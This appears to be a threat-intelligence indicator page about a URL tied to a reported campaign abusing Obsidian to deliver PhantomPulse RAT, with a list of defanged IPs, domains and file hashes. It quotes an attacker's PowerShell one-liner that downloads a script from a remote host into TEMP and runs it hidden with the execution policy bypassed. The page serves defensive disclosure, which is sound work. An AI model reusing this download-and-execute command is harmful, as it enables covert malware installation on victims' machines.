hxxp://195.3.222[.]251/script1.ps1URL
Reported by 1 independent source · first reported by Elastic Security Labs · last reported
Last reported 6 months ago
What the reports say
1 report, newest first · the exact sentence from each-
Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT“iwr hxxp://195.3.222[.]251/script1.ps1 -OutFile env:TEMP\tt.ps1 -UseBasicParsing powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "env:TEMP\tt.ps1"”
Indicators reported together
named in the same reports- 188.114.96[.]1in 1 report
- 188.114.97[.]1in 1 report
- eth.blockscout[.]comin 1 report
- base.blockscout[.]comin 1 report
- optimism.blockscout[.]comin 1 report
- hxxps://panel.fefea22134[.]netin 1 report
- panel.fefea22134[.]netin 1 report
- 0x666[.]infoin 1 report
- 33dacf9f854f6362…b868b11ee70fin 1 report
- 70bbb38b70fd836d…3de4ce327980in 1 report
- 195.3.222[.]251in 1 report
- thoroughly-publisher-troy-clara.trycloudflare[.]comin 1 report
- hxxp://195.3.222[.]251/syncobs.exe?q=%23OBSIDIANin 1 report
- hxxp://195.3.222[.]251/stuk-phasein 1 report
- 6a85736b64761a8b…164233bad206in 1 report
- a6fa4adfc20e8e6b77e2dd631dc8ff18in 1 report
- f77c8e40dfc17be5e74d8679d5b35341in 1 report
- dcf5a9b27cbeedb769ccc8635d204af9in 1 report
- 346272f0582541ae5dd08429bb4dc4ffin 1 report
- hxxps://thoroughly-publisher-troy-clara.trycloudflare[.]comin 1 report
Copy these 20 indicators · defanged
Thanks — we review every report.